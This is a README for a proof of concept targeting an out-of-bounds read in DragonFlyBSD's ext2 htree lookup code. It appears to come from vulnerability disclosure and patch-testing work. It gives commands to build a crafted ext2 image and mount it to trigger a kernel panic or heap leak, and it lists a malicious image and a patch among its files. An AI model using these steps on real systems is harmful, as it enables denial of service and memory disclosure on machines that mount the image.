# DF-0850 PoC — Missing interior-node limit validation in ext2_htree_find_leaf

## Summary

`ext2_htree_find_leaf` (`sys/vfs/ext2fs/ext2_htree.c:257-347`) walks htree
interior nodes without validating the node's limit field against the
filesystem-computed `ext2_htree_node_limit()`. A crafted ext2 image with
`count=limit=0xFFFF` in an interior htree node causes an OOB binary-search
read of ~512KB past the buffer, leading to kernel panic or silent heap
info leak.

## Build

```sh
# On host (Linux with mke2fs + python3):
dd if=/dev/zero of=ext2_htree.img bs=1M count=8
mke2fs -t ext2 -b 1024 -O dir_index -F ext2_htree.img
# Create testdir + files via debugfs (see craft_htree.py)
python3 craft_htree.py    # produces evil_ext2.img
```

## Run (on DragonFlyBSD guest as root)

```sh
kldload ext2fs
vnconfig vn0 /root/evil_ext2.img
mkdir -p /mnt/df0850
mount -t ext2fs -o ro /dev/vn0 /mnt/df0850
stat /mnt/df0850/testdir/f0000_longname_to_force_htree_index_split
# Unpatched: kernel panic (lockmgr: locking against myself)
# Patched:   clean ENOENT (htree returns error, linear scan fallback)
```

## Expected behavior

- **Bug present (unpatched #0 kernel):** kernel panic in `ext2_htree_find_leaf`
- **Bug fixed (patched ext2fs.ko):** lookup returns ENOENT or finds file
  via linear scan; no panic, no OOB read

## Preconditions

- Root mount access (`vfs.usermount=0` by default) — admin mounts crafted image
- ext2fs module loaded (`kldload ext2fs`)
- Threat model: removable media, downloaded VM images, filesystem fuzzing

## Files

- `craft_htree.py` — Python script to craft the malicious ext2 image
- `evil_ext2.img` — pre-built malicious ext2 image (V1: header.h_blk=0)
- `run_poc.sh` — shell script wrapper for the PoC
- `fix.diff` — git-apply-able fix (two checks in ext2_htree_find_leaf)
- `VERDICT.md` — full analysis and fix validation
